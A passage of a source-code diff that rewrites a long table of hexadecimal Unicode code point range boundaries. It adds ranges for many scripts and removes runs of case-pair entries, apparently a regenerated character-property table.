+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x104A,
+	0x1050,
+	0x109E,
 	0x10A0,
 	0x10C6,
 	0x10C7,
@@ -93105,266 +363698,154 @@
 	0x10C8,
 	0x10CD,
 	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1369,
+	0x1372,
+	0x1380,
+	0x1390,
 	0x13A0,
 	0x13F6,
-	0x1E00,
-	0x1E01,
-	0x1E02,
-	0x1E03,
-	0x1E04,
-	0x1E05,
-	0x1E06,
-	0x1E07,
-	0x1E08,
-	0x1E09,
-	0x1E0A,
-	0x1E0B,
-	0x1E0C,
-	0x1E0D,
-	0x1E0E,
-	0x1E0F,
-	0x1E10,
-	0x1E11,
-	0x1E12,
-	0x1E13,
-	0x1E14,
-	0x1E15,
-	0x1E16,
-	0x1E17,
-	0x1E18,
-	0x1E19,
-	0x1E1A,
-	0x1E1B,
-	0x1E1C,
-	0x1E1D,
-	0x1E1E,
-	0x1E1F,
-	0x1E20,
-	0x1E21,
-	0x1E22,
-	0x1E23,
-	0x1E24,
-	0x1E25,
-	0x1E26,
-	0x1E27,
-	0x1E28,
-	0x1E29,
-	0x1E2A,
-	0x1E2B,
-	0x1E2C,
-	0x1E2D,
-	0x1E2E,
-	0x1E2F,
-	0x1E30,
-	0x1E31,
-	0x1E32,
-	0x1E33,
-	0x1E34,
-	0x1E35,
-	0x1E36,
-	0x1E37,
-	0x1E38,
-	0x1E39,
-	0x1E3A,
-	0x1E3B,
-	0x1E3C,
-	0x1E3D,
-	0x1E3E,
-	0x1E3F,
-	0x1E40,
-	0x1E41,
-	0x1E42,
-	0x1E43,
-	0x1E44,
-	0x1E45,
-	0x1E46,
-	0x1E47,
-	0x1E48,
-	0x1E49,
-	0x1E4A,
-	0x1E4B,
-	0x1E4C,
-	0x1E4D,
-	0x1E4E,
-	0x1E4F,
-	0x1E50,
-	0x1E51,
-	0x1E52,
-	0x1E53,
-	0x1E54,
-	0x1E55,
-	0x1E56,
-	0x1E57,
-	0x1E58,
-	0x1E59,
-	0x1E5A,
-	0x1E5B,
-	0x1E5C,
-	0x1E5D,
-	0x1E5E,
-	0x1E5F,
-	0x1E60,
-	0x1E61,
-	0x1E62,
-	0x1E63,
-	0x1E64,
-	0x1E65,
-	0x1E66,
-	0x1E67,
-	0x1E68,
-	0x1E69,
-	0x1E6A,
-	0x1E6B,
-	0x1E6C,
-	0x1E6D,
-	0x1E6E,
-	0x1E6F,
-	0x1E70,
-	0x1E71,
-	0x1E72,
-	0x1E73,
-	0x1E74,
-	0x1E75,
-	0x1E76,
-	0x1E77,
-	0x1E78,
-	0x1E79,
-	0x1E7A,
-	0x1E7B,
-	0x1E7C,
-	0x1E7D,
-	0x1E7E,
-	0x1E7F,
-	0x1E80,
-	0x1E81,
-	0x1E82,
-	0x1E83,
-	0x1E84,
-	0x1E85,
-	0x1E86,
-	0x1E87,
-	0x1E88,
-	0x1E89,
-	0x1E8A,
-	0x1E8B,
-	0x1E8C,
-	0x1E8D,
-	0x1E8E,
-	0x1E8F,
-	0x1E90,
-	0x1E91,
-	0x1E92,
-	0x1E93,
-	0x1E94,
-	0x1E95,
-	0x1E9E,
-	0x1E9F,
-	0x1EA0,
-	0x1EA1,
-	0x1EA2,
-	0x1EA3,
-	0x1EA4,
-	0x1EA5,
-	0x1EA6,
-	0x1EA7,
-	0x1EA8,
-	0x1EA9,
-	0x1EAA,
-	0x1EAB,
-	0x1EAC,
-	0x1EAD,
-	0x1EAE,
-	0x1EAF,
-	0x1EB0,
-	0x1EB1,
-	0x1EB2,
-	0x1EB3,
-	0x1EB4,
-	0x1EB5,
-	0x1EB6,
-	0x1EB7,
-	0x1EB8,
-	0x1EB9,
-	0x1EBA,
-	0x1EBB,
-	0x1EBC,
-	0x1EBD,
-	0x1EBE,
-	0x1EBF,
-	0x1EC0,
-	0x1EC1,
-	0x1EC2,
-	0x1EC3,
-	0x1EC4,
-	0x1EC5,
-	0x1EC6,
-	0x1EC7,
-	0x1EC8,
-	0x1EC9,
-	0x1ECA,
-	0x1ECB,
-	0x1ECC,
-	0x1ECD,
-	0x1ECE,
-	0x1ECF,
-	0x1ED0,
-	0x1ED1,
-	0x1ED2,
-	0x1ED3,
-	0x1ED4,
-	0x1ED5,
-	0x1ED6,
-	0x1ED7,
-	0x1ED8,
-	0x1ED9,
-	0x1EDA,
-	0x1EDB,
-	0x1EDC,
-	0x1EDD,
-	0x1EDE,
-	0x1EDF,
-	0x1EE0,
-	0x1EE1,
-	0x1EE2,
-	0x1EE3,
-	0x1EE4,
-	0x1EE5,
-	0x1EE6,
-	0x1EE7,
-	0x1EE8,
-	0x1EE9,
-	0x1EEA,
-	0x1EEB,
-	0x1EEC,
-	0x1EED,
-	0x1EEE,
-	0x1EEF,
-	0x1EF0,
-	0x1EF1,
-	0x1EF2,
-	0x1EF3,
-	0x1EF4,
-	0x1EF5,
-	0x1EF6,
-	0x1EF7,
-	0x1EF8,
-	0x1EF9,
-	0x1EFA,
-	0x1EFB,
-	0x1EFC,
-	0x1EFD,
-	0x1EFE,
-	0x1EFF,
-	0x1F08,
-	0x1F10,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1735,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x180B,
+	0x180E,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AA8,
+	0x1AB0,
+	0x1ABE,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
 	0x1F18,
 	0x1F1E,
-	0x1F28,
-	0x1F30,
-	0x1F38,
-	0x1F40,
+	0x1F20,
+	0x1F46,
 	0x1F48,
 	0x1F4E,
+	0x1F50,
+	0x1F58,
 	0x1F59,
 	0x1F5A,
 	0x1F5B,
@@ -93372,30 +363853,52 @@
 	0x1F5D,
 	0x1F5E,
 	0x1F5F,
-	0x1F60,
-	0x1F68,
-	0x1F70,
-	0x1FB8,
-	0x1FBC,
-	0x1FC8,
-	0x1FCC,
-	0x1FD8,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
 	0x1FDC,
-	0x1FE8,
+	0x1FE0,
 	0x1FED,
-	0x1FF8,
-	0x1FFC,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20F1,
 	0x2102,
 	0x2103,
 	0x2107,
 	0x2108,
-	0x210B,
-	0x210E,
-	0x2110,
-	0x2113,
+	0x210A,
+	0x2114,
 	0x2115,
 	0x2116,
-	0x2119,
+	0x2118,
 	0x211E,
 	0x2124,
 	0x2125,
@@ -93404,358 +363907,586 @@
 	0x2128,
 	0x2129,
 	0x212A,
-	0x212E,
-	0x2130,
-	0x2134,
-	0x213E,
+	0x213A,
+	0x213C,
 	0x2140,
 	0x2145,
-	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
 	0x2160,
-	0x2170,
-	0x2183,
-	0x2184,
-	0x24B6,
-	0x24D0,
+	0x2189,
 	0x2C00,
 	0x2C2F,
+	0x2C30,
+	0x2C5F,
 	0x2C60,
-	0x2C61,
-	0x2C62,
-	0x2C65,
-	0x2C67,
-	0x2C68,
-	0x2C69,
-	0x2C6A,
-	0x2C6B,
-	0x2C6C,
-	0x2C6D,
-	0x2C71,
-	0x2C72,
-	0x2C73,
-	0x2C75,
-	0x2C76,
-	0x2C7E,
-	0x2C81,
-	0x2C82,
-	0x2C83,
-	0x2C84,
-	0x2C85,
-	0x2C86,
-	0x2C87,
-	0x2C88,
-	0x2C89,
-	0x2C8A,
-	0x2C8B,
-	0x2C8C,
-	0x2C8D,
-	0x2C8E,
-	0x2C8F,
-	0x2C90,
-	0x2C91,
-	0x2C92,
-	0x2C93,
-	0x2C94,
-	0x2C95,
-	0x2C96,
-	0x2C97,
-	0x2C98,
-	0x2C99,
-	0x2C9A,
-	0x2C9B,
-	0x2C9C,
-	0x2C9D,
-	0x2C9E,
-	0x2C9F,
-	0x2CA0,
-	0x2CA1,
-	0x2CA2,
-	0x2CA3,
-	0x2CA4,
-	0x2CA5,
-	0x2CA6,
-	0x2CA7,
-	0x2CA8,
-	0x2CA9,
-	0x2CAA,
-	0x2CAB,
-	0x2CAC,
-	0x2CAD,
-	0x2CAE,
-	0x2CAF,
-	0x2CB0,
-	0x2CB1,
-	0x2CB2,
-	0x2CB3,
-	0x2CB4,
-	0x2CB5,
-	0x2CB6,
-	0x2CB7,
-	0x2CB8,
-	0x2CB9,
-	0x2CBA,
-	0x2CBB,
-	0x2CBC,
-	0x2CBD,
-	0x2CBE,
-	0x2CBF,
-	0x2CC0,
-	0x2CC1,
-	0x2CC2,
-	0x2CC3,
-	0x2CC4,
-	0x2CC5,
-	0x2CC6,
-	0x2CC7,
-	0x2CC8,
-	0x2CC9,
-	0x2CCA,
-	0x2CCB,
-	0x2CCC,
-	0x2CCD,
-	0x2CCE,
-	0x2CCF,
-	0x2CD0,
-	0x2CD1,
-	0x2CD2,
-	0x2CD3,
-	0x2CD4,
-	0x2CD5,
-	0x2CD6,
-	0x2CD7,
-	0x2CD8,
-	0x2CD9,
-	0x2CDA,
-	0x2CDB,
-	0x2CDC,
-	0x2CDD,
-	0x2CDE,
-	0x2CDF,
-	0x2CE0,
-	0x2CE1,
-	0x2CE2,
-	0x2CE3,
+	0x2CE5,
 	0x2CEB,
-	0x2CEC,
-	0x2CED,
-	0x2CEE,
-	0x2CF2,
-	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA62C,
 	0xA640,
-	0xA641,
-	0xA642,
-	0xA643,
-	0xA644,
-	0xA645,
-	0xA646,
-	0xA647,
-	0xA648,
-	0xA649,
-	0xA64A,
-	0xA64B,
-	0xA64C,
-	0xA64D,
-	0xA64E,
-	0xA64F,
-	0xA650,
-	0xA651,
-	0xA652,
-	0xA653,
-	0xA654,
-	0xA655,
-	0xA656,
-	0xA657,
-	0xA658,
-	0xA659,
-	0xA65A,
-	0xA65B,
-	0xA65C,
-	0xA65D,
-	0xA65E,
-	0xA65F,
-	0xA660,
-	0xA661,
-	0xA662,
-	0xA663,
-	0xA664,
-	0xA665,
-	0xA666,
-	0xA667,
-	0xA668,
-	0xA669,
-	0xA66A,
-	0xA66B,
-	0xA66C,
-	0xA66D,
-	0xA680,
-	0xA681,
-	0xA682,
-	0xA683,
-	0xA684,
-	0xA685,
-	0xA686,
-	0xA687,
-	0xA688,
-	0xA689,
-	0xA68A,
-	0xA68B,
-	0xA68C,
-	0xA68D,
-	0xA68E,
-	0xA68F,
-	0xA690,
-	0xA691,
-	0xA692,
-	0xA693,
-	0xA694,
-	0xA695,
-	0xA696,
-	0xA697,
-	0xA698,
-	0xA699,
-	0xA69A,
-	0xA69B,
+	0xA670,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA717,
+	0xA720,
 	0xA722,
-	0xA723,
-	0xA724,
-	0xA725,
-	0xA726,
-	0xA727,
-	0xA728,
-	0xA729,
-	0xA72A,
-	0xA72B,
-	0xA72C,
-	0xA72D,
-	0xA72E,
-	0xA72F,
-	0xA732,
-	0xA733,
-	0xA734,
-	0xA735,
-	0xA736,
-	0xA737,
-	0xA738,
-	0xA739,
-	0xA73A,
-	0xA73B,
-	0xA73C,
-	0xA73D,
-	0xA73E,
-	0xA73F,
-	0xA740,
-	0xA741,
-	0xA742,
-	0xA743,
-	0xA744,
-	0xA745,
-	0xA746,
-	0xA747,
-	0xA748,
-	0xA749,
-	0xA74A,
-	0xA74B,
-	0xA74C,
-	0xA74D,
-	0xA74E,
-	0xA74F,
-	0xA750,
-	0xA751,
-	0xA752,
-	0xA753,
-	0xA754,
-	0xA755,
-	0xA756,
-	0xA757,
-	0xA758,
-	0xA759,
-	0xA75A,
-	0xA75B,
-	0xA75C,
-	0xA75D,
-	0xA75E,
-	0xA75F,
-	0xA760,
-	0xA761,
-	0xA762,
-	0xA763,
-	0xA764,
-	0xA765,
-	0xA766,
-	0xA767,
-	0xA768,
-	0xA769,
-	0xA76A,
-	0xA76B,
-	0xA76C,
-	0xA76D,
-	0xA76E,
-	0xA76F,
-	0xA779,
-	0xA77A,
-	0xA77B,
-	0xA77C,
-	0xA77D,
-	0xA77F,
-	0xA780,
-	0xA781,
-	0xA782,
-	0xA783,
-	0xA784,
-	0xA785,
-	0xA786,
-	0xA787,
+	0xA789,
 	0xA78B,
-	0xA78C,
-	0xA78D,
-	0xA78E,
-	0xA790,
-	0xA791,
-	0xA792,
-	0xA793,
-	0xA796,
-	0xA797,
-	0xA798,
-	0xA799,
-	0xA79A,
-	0xA79B,
-	0xA79C,
-	0xA79D,
-	0xA79E,
-	0xA79F,
-	0xA7A0,
-	0xA7A1,
-	0xA7A2,
-	0xA7A3,
-	0xA7A4,
-	0xA7A5,
-	0xA7A6,
-	0xA7A7,
-	0xA7A8,
-	0xA7A9,
-	0xA7AA,
 	0xA7AF,
 	0xA7B0,
-	0xA7B5,
-	0xA7B6,
-	0xA7B7,
+	0xA7B8,
+	0xA7F7,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
+	0xA92E,
+	0xA930,
+	0xA954,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9C1,
+	0xA9CF,
+	0xA9DA,
+	0xA9E0,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF10,
+	0xFF1A,
 	0xFF21,
 	0xFF3B,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102E1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
 	0x10400,
-	0x10428,
+	0x1049E,
+	0x104A0,
+	0x104AA,
 	0x104B0,
 	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE7,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
 	0x10C80,
 	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11047,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x110BB,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11150,
+	0x11174,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111D0,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1144B,
+	0x11450,
+	0x1145A,
+	0x11480,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
 	0x118A0,
-	0x118C0,
+	0x118EA,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C41,
+	0x11C50,
+	0x11C5A,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF5,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B50,
+	0x16B5A,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
 	0x1D400,
-	0x1D41A,
-	0x1D434,
-	0x1D44E,
-	0x1D468,
-	0x1D482,
-	0x1D49C,
+	0x1D455,
+	0x1D456,
 	0x1D49D,
 	0x1D49E,
 	0x1D4A0,
@@ -93766,10 +364497,12 @@
 	0x1D4A9,
 	0x1D4AD,
 	0x1D4AE,
-	0x1D4B6,
-	0x1D4D0,
-	0x1D4EA,
-	0x1D504,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
 	0x1D506,
 	0x1D507,
 	0x1D50B,
@@ -93777,7 +364510,7 @@
 	0x1D515,
 	0x1D516,
 	0x1D51D,
-	0x1D538,
+	0x1D51E,
 	0x1D53A,
 	0x1D53B,
 	0x1D53F,
@@ -93787,42 +364520,153 @@
 	0x1D547,
 	0x1D54A,
 	0x1D551,
